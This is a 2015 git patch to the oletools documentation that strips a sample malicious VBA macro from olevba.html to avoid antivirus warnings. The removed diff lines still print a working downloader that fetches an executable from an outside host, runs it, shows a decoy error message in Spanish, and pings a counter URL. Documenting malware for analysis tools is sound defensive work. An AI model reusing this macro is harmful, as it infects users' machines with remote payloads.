From 7c2a7d8120c612192a7331b87ac4bb200315cf57 Mon Sep 17 00:00:00 2001
From: Philippe Lagadec <decalage2@users.noreply.github.com>
Date: Tue, 28 Jul 2015 15:36:12 +0200
Subject: [PATCH] doc: fixed olevba.html (removed malicious code to avoid AV warnings)

---
 oletools/doc/olevba.html | 24 ++----------------------
 1 file changed, 2 insertions(+), 22 deletions(-)

diff --git a/oletools/doc/olevba.html b/oletools/doc/olevba.html
index a7f7767..e1cac8a 100644
--- a/oletools/doc/olevba.html
+++ b/oletools/doc/olevba.html
@@ -165,33 +165,13 @@ End Sub
 
 Public Sub SNVJYQ()
 
-    OGEXYR &quot;http://germanya.com.ec/logs/test.exe&quot;, Environ(&quot;TMP&quot;) &amp; &quot;\sfjozjero.
-
-exe&quot;
+    [Malicious Code...]
 
 End Sub
 
 Function OGEXYR(XSTAHU As String, PHHWIV As String) As Boolean
 
-    Dim HRKUYU, lala As Long
-
-    HRKUYU = URLDownloadToFileA(0, XSTAHU, PHHWIV, 0, 0)
-
-    If HRKUYU = 0 Then OGEXYR = True
-
-    Dim YKPZZS
-
-    YKPZZS = Shell(PHHWIV, 1)
-
-    MsgBox &quot;El contenido de este documento no es compatible con este equipo.&quot; &amp;
-
-vbCrLf &amp; vbCrLf &amp; &quot;Por favor intente desde otro equipo.&quot;, vbCritical, &quot;Equipo no
-
- compatible&quot;
-
-    lala = URLDownloadToFileA(0, &quot;http://germanya.com.ec/logs/counter.php&quot;, Envi
-
-ron(&quot;TMP&quot;) &amp; &quot;\lkjljlljk&quot;, 0, 0)
+    [Malicious Code...]
 
     Application.DisplayAlerts = False
 
--
libgit2 0.21.4